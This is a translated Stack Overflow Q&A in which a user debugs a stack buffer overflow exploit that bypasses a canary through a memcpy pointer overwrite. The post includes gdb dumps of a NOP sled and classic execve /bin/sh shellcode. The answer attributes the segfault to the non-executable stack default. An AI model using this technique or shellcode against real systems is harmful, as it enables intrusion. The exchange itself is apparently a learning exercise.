我正在执行缓冲区溢出,方法是避免金丝雀通过memcpy指向指针,如here所述。简而言之,用堆栈中的RET地址覆盖指针指向的地址。所以memcpy指向那个指针,有效地覆盖了RET。
使用gdb,我可以很好地插入NOP sled+shellcode+address_overwrite。我可以看到位于0xbfff52c的RET包含一个所需的地址0xbfff4c0,该地址将降落在NOP sled中。
(gdb) x /32xw $esp0xbffff470: 0xbffff52c 0x0804a008 0x00000004 0x000000000xbffff480: 0x000003f3 0x08048327 0x90909087 0x909090900xbffff490: 0x90909090 0x90909090 0x90909090 0x909090900xbffff4a0: 0x90909090 0x90909090 0x90909090 0x909090900xbffff4b0: 0x90909090 0x90909090 0x90909090 0x909090900xbffff4c0: 0x90909090 0x90909090 0x90909090 0x909090900xbffff4d0: 0x90909090 0x90909090 0x90909090 0xeb9090900xbffff4e0: 0x76895e1f 0x88c03108 0x46890746 0x890bb00c(gdb)0xbffff4f0: 0x084e8df3 0xcd0c568d 0x89db3180 0x80cd40d80xbffff500: 0xffffdce8 0x69622fff 0x68732f6e 0xbffff52c0xbffff510: 0xbffff5a8 0xb7ff5990 0x0000008f 0xbffff5a80xbffff520: 0xb7fd1ff4 0x0804a008 0xbffff5a8 0xbffff4c00xbffff530: 0x0804a008 0x0804a008 0x0000008f 0x000000010xbffff540: 0x00000801 0x00000000 0xbfff0000 0x002001ac0xbffff550: 0x000081a4 0x00000001 0x000004ad 0x000004ad0xbffff560: 0x00000000 0x00000000 0xb7fd0000 0x0000008f
然而,运行这个我得到的错误如下,即使disassembly显示我着陆良好。

Program received signal SIGSEGV, Segmentation fault.
0xbffff4c0 in ?? ()
(gdb) disas 0xbffff4c0, + 10
Dump of assembler code from 0xbffff4c0 to 0xbffff4ca:
=> 0xbffff4c0:  nop
   0xbffff4c1:  nop
   0xbffff4c2:  nop
   0xbffff4c3:  nop
   0xbffff4c4:  nop
   0xbffff4c5:  nop
   0xbffff4c6:  nop
   0xbffff4c7:  nop
   0xbffff4c8:  nop
   0xbffff4c9:  nop

下面是外壳代码。
    0xbffff4df:  jmp    0xbffff500
   0xbffff4e1:  pop    %esi
   0xbffff4e2:  mov    %esi,0x8(%esi)
   0xbffff4e5:  xor    %eax,%eax
   0xbffff4e7:  mov    %al,0x7(%esi)
   0xbffff4ea:  mov    %eax,0xc(%esi)
   0xbffff4ed:  mov    $0xb,%al
   0xbffff4ef:  mov    %esi,%ebx

…等。
我在linux系统中使用了附录B中Smashing the stack的外壳代码。你能帮我弄明白怎么回事吗?

最佳答案

你没有说你在什么操作系统上,或者你如何建立你的目标程序。
假设Linux没有-Wl,-z,execstack,那么现代Linux发行版默认为-Wl,-z,noexecstack,这(出乎意料!)使堆栈不可执行。
您可以阅读一些保护机制here

关于c - 缓冲区溢出:EIP和跳转设置正确但存在段错误,我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/36511214/

10-10 14:51